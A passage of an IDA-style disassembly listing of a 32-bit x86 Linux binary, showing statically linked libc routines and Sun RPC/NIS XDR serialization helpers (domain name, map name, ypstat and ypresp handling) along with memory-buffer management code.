		cmp	eax, 0FFFFFFFFh
		jz	short loc_8065AAC
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_8065A6C
		cmp	eax, 1
		jz	short loc_8065A88
		jmp	short loc_8065AAC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A6C:				; CODE XREF: sub_8065A40+22j
		mov	eax, [esi+10h]
		sub	eax, edx
		cmp	[esi+18h], eax
		jnb	short loc_8065AAC
		cmp	[esi+14h], eax
		jbe	short loc_8065AAC
		mov	[esi+10h], eax
		mov	eax, 1
		jmp	short loc_8065AAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A88:				; CODE XREF: sub_8065A40+27j
		mov	eax, [esi+2Ch]
		sub	eax, edx
		cmp	[esi+34h], edx
		jle	short loc_8065AAC
		cmp	[esi+30h], eax
		jb	short loc_8065AAC
		cmp	[esi+28h], eax
		ja	short loc_8065AAC
		mov	[esi+2Ch], eax
		sub	[esi+34h], edx
		mov	eax, 1
		jmp	short loc_8065AAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065AAC:				; CODE XREF: sub_8065A40+1Cj
					; sub_8065A40+29j ...
		xor	eax, eax

loc_8065AAE:				; CODE XREF: sub_8065A40+43j
					; sub_8065A40+67j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065A40	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065AB8	proc near		; DATA XREF: .data:08079278o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+0Ch]
		xor	ebx, ebx
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_8065AD4
		cmp	eax, 1
		jz	short loc_8065AE8
		jmp	short loc_8065B00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065AD4:				; CODE XREF: sub_8065AB8+13j
		mov	eax, ecx
		add	eax, [edx+10h]
		cmp	[edx+14h], eax
		jb	short loc_8065B00
		mov	ebx, [edx+10h]
		mov	[edx+10h], eax
		jmp	short loc_8065B00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065AE8:				; CODE XREF: sub_8065AB8+18j
		cmp	[edx+34h], ecx
		jl	short loc_8065B00
		mov	eax, ecx
		add	eax, [edx+2Ch]
		cmp	[edx+30h], eax
		jb	short loc_8065B00
		mov	ebx, [edx+2Ch]
		sub	[edx+34h], ecx
		add	[edx+2Ch], ecx

loc_8065B00:				; CODE XREF: sub_8065AB8+1Aj
					; sub_8065AB8+24j ...
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065AB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065B0C	proc near		; DATA XREF: .data:0807927Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		mov	eax, [ebx+4]
		push	eax
		call	free
		push	ebx
		call	free
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065B0C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065B2C	proc near		; CODE XREF: sub_8063D20+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		jmp	short loc_8065B68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065B38:				; CODE XREF: sub_8065B2C+40j
					; sub_8065B2C+46j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8065B63
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_8065B68
		push	ebx
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_8065B68

loc_8065B63:				; CODE XREF: sub_8065B2C+1Bj
		xor	eax, eax
		jmp	short loc_8065B80
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065B68:				; CODE XREF: sub_8065B2C+Aj
					; sub_8065B2C+28j ...
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_8065B38
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_8065B38
		mov	dword ptr [ebx+38h], 0
		mov	eax, 1

loc_8065B80:				; CODE XREF: sub_8065B2C+39j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065B2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+8]
		mov	ebx, [eax+0Ch]
		jmp	short loc_8065BBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065B94:				; CODE XREF: .text:08065BC3j
					; .text:08065BC9j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8065BD8
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_8065BBF
		push	ebx
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jz	short loc_8065BD8

loc_8065BBF:				; CODE XREF: .text:08065B92j
					; .text:08065BB0j
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_8065B94
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_8065B94
		mov	eax, [ebx+2Ch]
		cmp	[ebx+30h], eax
		jz	short loc_8065BD8
		xor	eax, eax
		jmp	short loc_8065BDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065BD8:				; CODE XREF: .text:08065BA3j
					; .text:08065BBDj ...
		mov	eax, 1

loc_8065BDD:				; CODE XREF: .text:08065BD5j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065BE4	proc near		; CODE XREF: sub_8063D20+D2p
					; sub_8063D20+E1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		cmp	[ebp+arg_4], 0
		jnz	short loc_8065C04
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_8065C04
		mov	eax, [ecx+10h]
		add	eax, 4
		cmp	[ecx+14h], eax
		ja	short loc_8065C18

loc_8065C04:				; CODE XREF: sub_8065BE4+Dj
					; sub_8065BE4+13j
		mov	dword ptr [ecx+1Ch], 0
		push	1
		push	ecx
		call	sub_8065588
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065C18:				; CODE XREF: sub_8065BE4+1Ej
		mov	eax, [ecx+10h]
		sub	eax, [ecx+18h]
		add	eax, 0FFFFFFFCh
		mov	edx, [ecx+18h]
		or	eax, 80000000h
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, [ecx+10h]
		mov	[ecx+18h], eax
		add	dword ptr [ecx+10h], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_8065BE4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065C48	proc near		; CODE XREF: sub_80649C0+Cp
		push	ebp
		mov	ebp, esp
		mov	eax, 100h
		mov	esp, ebp
		pop	ebp
		retn
sub_8065C48	endp

; [0000002F BYTES: COLLAPSED FUNCTION __sigsetmask. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000067 BYTES: COLLAPSED FUNCTION getdomainname. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000061 BYTES: COLLAPSED FUNCTION mmap. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000003A BYTES: COLLAPSED FUNCTION _xstat. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000003A BYTES: COLLAPSED FUNCTION _fxstat. PRESS KEYPAD "+"	TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065DC8	proc near		; DATA XREF: __default_morecore_init+1Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	__sbrk
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8065DDB
		xor	eax, eax

loc_8065DDB:				; CODE XREF: sub_8065DC8+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_8065DC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000003A BYTES: COLLAPSED FUNCTION __default_morecore_init. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [000002D5 BYTES: COLLAPSED FUNCTION __readv. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION __libc_fcntl. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION __libc_lseek. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000002C BYTES: COLLAPSED FUNCTION __libc_munmap. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __libc_syscall_readv. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000038 BYTES: COLLAPSED FUNCTION __libc_mremap. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION __sbrk. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __init_brk. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [0000003D BYTES: COLLAPSED FUNCTION bzero. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [000000C5 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000009E BYTES: COLLAPSED FUNCTION __mpn_add_n. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000042 BYTES: COLLAPSED FUNCTION __mpn_addmul_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000002A BYTES: COLLAPSED FUNCTION xdr_domainname. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000026 BYTES: COLLAPSED FUNCTION xdr_mapname. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000002A BYTES: COLLAPSED FUNCTION xdr_peername. PRESS KEYPAD "+" TO	EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80664E4	proc near		; CODE XREF: sub_8066514+31p
					; xdr_nis_oid+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	400h
		lea	eax, [edx+4]
		push	eax
		push	edx
		push	ecx
		call	sub_80651B8
		test	eax, eax
		jz	short loc_806650C
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806650C:				; CODE XREF: sub_80664E4+1Bj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80664E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066514	proc near		; DATA XREF: sub_805D3A8+147o
					; sub_805D814+DFo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	xdr_domainname
		add	esp, 8
		test	eax, eax
		jz	short loc_8066558
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	xdr_mapname
		add	esp, 8
		test	eax, eax
		jz	short loc_8066558
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_80664E4
		test	eax, eax
		jz	short loc_8066558
		mov	eax, 1
		jmp	short loc_806655A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066558:				; CODE XREF: sub_8066514+19j
					; sub_8066514+2Aj ...
		xor	eax, eax

loc_806655A:				; CODE XREF: sub_8066514+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066514	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066564	proc near		; DATA XREF: sub_805D638+BFo
					; .text:0805DB07o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	xdr_domainname
		add	esp, 8
		test	eax, eax
		jz	short loc_8066594
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	xdr_mapname
		test	eax, eax
		jz	short loc_8066594
		mov	eax, 1
		jmp	short loc_8066596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8066594:				; CODE XREF: sub_8066564+19j
					; sub_8066564+27j
		xor	eax, eax

loc_8066596:				; CODE XREF: sub_8066564+2Ej
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION xdr_nis_oid. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80665DC	proc near		; CODE XREF: sub_80666A0+29p
					; DATA XREF: sub_805D638+B6o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_806661C
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_80664E4
		add	esp, 8
		test	eax, eax
		jz	short loc_806661C
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80664E4
		test	eax, eax
		jz	short loc_806661C
		mov	eax, 1
		jmp	short loc_806661E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806661C:				; CODE XREF: sub_80665DC+17j
					; sub_80665DC+28j ...
		xor	eax, eax

loc_806661E:				; CODE XREF: sub_80665DC+3Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80665DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION xdr_ypresp_order.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066664	proc near		; DATA XREF: .text:0805DBDDo
					; .text:0805DC05o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_8066694
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		test	eax, eax
		jz	short loc_8066694
		mov	eax, 1
		jmp	short loc_8066696
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066694:				; CODE XREF: sub_8066664+17j
					; sub_8066664+25j
		xor	eax, eax

loc_8066696:				; CODE XREF: sub_8066664+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066664	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80666A0	proc near		; CODE XREF: sub_80668AC+24p
					; DATA XREF: sub_80668AC+34o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8065098
		add	esp, 8
		test	eax, eax
		jz	short loc_80666D2
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_80666D8
		cmp	eax, 1
		jnz	short loc_80666D2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80665DC
		test	eax, eax
		jnz	short loc_80666D8

loc_80666D2:				; CODE XREF: sub_80666A0+17j
					; sub_80666A0+22j
		xor	eax, eax
		jmp	short loc_80666DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80666D8:				; CODE XREF: sub_80666A0+1Dj
					; sub_80666A0+30j
		mov	eax, 1

loc_80666DD:				; CODE XREF: sub_80666A0+34j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80666A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80666E8	proc near		; CODE XREF: sub_8066710+Dp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	xdr_mapname
		test	eax, eax
		jz	short loc_8066708
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066708:				; CODE XREF: sub_80666E8+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80666E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066710	proc near		; DATA XREF: sub_8066710+19o
					; sub_8066754+19o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_80666E8
		add	esp, 8
		test	eax, eax
		jz	short loc_8066748
		push	offset sub_8066710
		push	48h
		lea	eax, [ebx+44h]
		push	eax
		push	esi
		call	sub_8067248
		test	eax, eax
		jz	short loc_8066748
		mov	eax, 1
		jmp	short loc_806674A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066748:				; CODE XREF: sub_8066710+17j
					; sub_8066710+2Cj
		xor	eax, eax

loc_806674A:				; CODE XREF: sub_8066710+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066710	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066754	proc near		; DATA XREF: .text:0805DE15o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_806678C
		push	offset sub_8066710
		push	48h
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8067248
		test	eax, eax
		jz	short loc_806678C
		mov	eax, 1
		jmp	short loc_806678E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806678C:				; CODE XREF: sub_8066754+17j
					; sub_8066754+2Cj
		xor	eax, eax

loc_806678E:				; CODE XREF: sub_8066754+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066754	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000026 BYTES: COLLAPSED FUNCTION xdr_ypstat. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80667C0	proc near		; CODE XREF: sub_8066800+39p
					; .text:08066879p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	4
		push	ebx
		push	esi
		call	sub_8065120
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80667F4
		push	2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8065120
		test	eax, eax
		jz	short loc_80667F4
		mov	eax, 1
		jmp	short loc_80667F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80667F4:				; CODE XREF: sub_80667C0+19j
					; sub_80667C0+29j
		xor	eax, eax

loc_80667F6:				; CODE XREF: sub_80667C0+30j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80667C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8066800	proc near		; DATA XREF: sub_805CE84+27Fo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	xdr_ypstat
		add	esp, 8
		test	eax, eax
		jz	short loc_8066842
		mov	eax, [ebx]
		cmp	eax, 1
		jz	short loc_8066834
		cmp	eax, 2
		jnz	short loc_8066842
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_8064F10
		jmp	short loc_806683E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066834:				; CODE XREF: sub_8066800+1Ej
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_80667C0

loc_806683E:				; CODE XREF: sub_8066800+2Fj
		test	eax, eax
		jnz	short loc_8066848

loc_8066842:				; CODE XREF: sub_8066800+17j
					; sub_8066800+23j
		xor	eax, eax
		jmp	short loc_806684D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066848:				; CODE XREF: sub_8066800+40j
		mov	eax, 1

loc_806684D:				; CODE XREF: sub_8066800+44j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8066800	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	esi
		call	xdr_domainname
		add	esp, 8
		test	eax, eax
		jz	short loc_80668A0
		lea	eax, [ebx+104h]
		push	eax
		push	esi
		call	sub_80667C0
		add	esp, 8
		test	eax, eax
		jz	short loc_80668A0
		lea	eax, [ebx+10Ch]
		push	eax
		push	esi
		call	sub_8064FBC
		test	eax, eax
		jz	short loc_80668A0
		mov	eax, 1
		jmp	short loc_80668A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80668A0:				; CODE XREF: .text:0806686Fj
					; .text:08066883j ...
		xor	eax, eax

loc_80668A2:				; CODE XREF: .text:0806689Bj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80668AC	proc near		; DATA XREF: .text:0805DAFEo
					; .text:0805DB20o

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		push	ebx
		push	18h
		lea	ebx, [ebp+var_18]
		push	ebx
		call	bzero
		add	esp, 8
		mov	[ebp+var_20], ebx
		lea	esi, [esi]

loc_80668C8:				; CODE XREF: sub_80668AC+114j
		mov	edx, [ebp+var_20]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_80666A0
		add	esp, 8
		test	eax, eax
		jnz	short loc_80668FC
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	xdr_free
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx], 0FFFFFFFAh
		xor	eax, eax
		jmp	loc_80669F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80668FC:				; CODE XREF: sub_80668AC+2Ej
		cmp	[ebp+var_18], 0
		jnz	short loc_8066918
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	xdr_free
		xor	eax, eax
		jmp	loc_80669F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066918:				; CODE XREF: sub_80668AC+54j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_1C], ecx
		cmp	ecx, 1
		jz	short loc_8066934
		cmp	ecx, 2
		jz	loc_80669C8
		jmp	loc_80669D8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066934:				; CODE XREF: sub_80668AC+75j
		mov	eax, [ebp+var_C]
		inc	eax
		push	eax
		call	malloc
		mov	edi, eax
		mov	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	eax, [ebp+var_10]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax+edi], 0
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	malloc
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	eax, [ebp+var_8]
		push	eax
		call	bcopy
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0
		add	esp, 20h
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
